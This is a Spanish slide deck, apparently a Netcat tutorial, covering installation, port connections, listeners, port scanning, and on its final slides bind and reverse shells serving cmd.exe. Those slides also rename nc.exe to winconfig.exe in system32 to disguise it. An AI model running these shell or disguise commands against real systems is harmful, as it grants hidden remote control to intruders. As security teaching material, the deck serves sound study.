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Netcat

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June 19, 2015

 Netcat

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dvirus

June 19, 2015
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  1. Netcat realiza y recibe conexiones TCP(Protocolo de Control de Transmisión)

    y UDP (Protocolo de Datagramas de Usuario) escribiendo y leyendo los datos en este tipo de conexiones hasta que finalicen. Netcat puede ejecutar los modos cliente y servidor. Netcat apt-get install netcat yum install netcat Descomprimir Lanzar nc.exe http://joncraton.org/files/nc111nt.zip
  2. Conexión a un puerto nc [IP_Destino] [puerto] nc -nv 192.168.0.10

    110 #Conexión a puerto TCP, -n: Sin consultar DNS, -v: Verbose nc -unv 192.168.0.25 5060 #Conexión a puerto UDP, -u: Modo UDP nc -unv 192.168.0.25 5060 Connection to 192.168.0.25 5060 port [udp/*] succeeded! Crear un Listener nc -l -p [Puerto_Local] # -p: Puerto Local
  3. nc -nv -z -w1 192.168.0.25 80-443 Connection to 192.168.0.25 80

    port [tcp/*] succeeded! nc: connect to 192.168.0.25 port 81 (tcp) failed: Connection refused nc: connect to 192.168.0.25 port 82 (tcp) failed: Connection refused nc: connect to 192.168.0.25 port 83 (tcp) failed: Connection refused nc: connect to 192.168.0.25 port 84 (tcp) failed: Connection refused nc: connect to 192.168.0.25 port 85 (tcp) failed: Connection refused Escaneador de puertos TCP nc -n -v -z -w1 [IP_destino] [Puerto Inicial] - [Puerto Final] #Escanea un rango de puertos TCP nc -nv -z -w1 192.168.0.25 80-443 # -z: Modo Zero I/O, no envía ningún dato # -wN: Tiempo de la conexión en N segundos
  4. Bind Shell 1. nc 192.168.56.103 53333 1. Guardar nc.exe en

    la ruta C: \Windows\system32\winconfig.exe 2. winconfig -l -p 53333 -e cmd.exe
  5. Reverse Shell 1. nc -l -p 53333 2. 1. winconfig

    -e cmd.exe 192.168.56.1 53333